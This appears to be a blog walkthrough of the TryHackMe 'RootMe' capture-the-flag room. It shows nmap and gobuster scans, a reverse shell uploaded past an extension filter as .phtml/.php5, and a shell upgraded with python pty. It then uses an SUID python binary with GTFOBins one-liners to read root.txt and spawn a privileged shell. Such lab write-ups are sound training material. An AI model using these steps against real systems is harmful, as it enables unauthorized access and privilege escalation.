The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.
TryHackMe RootMe CTF walkthrough
While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.
TryHackMe Room :- Click Here
RootMe CTF
First we start scanning with nmap and Enumerated the box as normal. You can answer all the questions in task 2 from our enumeration.
- nmap -A -T4 -sV -sC -Pn -p- 10.10.162.244
- nmap -A -vv -sV -sC 10.10.162.244
Running gobuster to find out the hidden directories
gobuster dir -u http://10.10.162.244 -w /usr/share/dirb/wordlists
I then went into the /panel directory of the website and found an upload form. I then uploaded a simple php reverse shell, but with the extension of .phtml as the site would not let me upload a .php file.
We can upload contents and the uploaded files can be accessed from /uploads. Using this we can upload a php reverse shell and get code execution on the box.
Reverse shell
Let us upload a file shell.php with following contents but .php extension is not allowed.
But looks like there is some check in place which dont let us upload a php file.
So I renamed it php-reverse-shell.php5 and uploaded the file again.
Click Here to Download a php reverse shell file after downloading don't forget to change a IP address and file extension with .php5
Like this :-
Getting a reverse shell
Listening on our box on port 1234
Get a Proper Shell
python -c "import pty;pty.spawn('/bin/bash')"
We were placed in the / directory so we needed to know where home was for www-data
cd /etc/passwd
So, we change into /var/www and see the user.txt flag
cd /var/www
ls -la
cat user.txt
cd /var/www
ls -la
total 20
drwxr-xr-x 3 www-data www-data 4096 Aug 4 17:54 .
drwxr-xr-x 14 root root 4096 Aug 4 15:08 ..
-rw------- 1 www-data www-data 129 Aug 4 17:54 .bash_history
drwxr-xr-x 6 www-data www-data 4096 Aug 4 17:19 html
-rw-r--r-- 1 www-data www-data 21 Aug 4 17:30 user.txt
cat user.txt
THM{y0u_g0t_a_sh3ll}
Now we need to figure out how to get the root.txt flag. Looking for the SUID binaries we see that our favorite scripting language has one set:
find / -user root -perm -4000 2>/dev/null
OR
find / -user root -perm /4000
find / -user root -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python <-----------------
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount
GTFO
Using GTFObins we see a way that we can access files that we normally wouldn't be able to due to permission restrictions.
- python -c 'print(open("/root/root.txt").read())'
- /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Disclaimer
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You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing malicious or damaging attacks. Performing any hacks without written permission is illegal ..!
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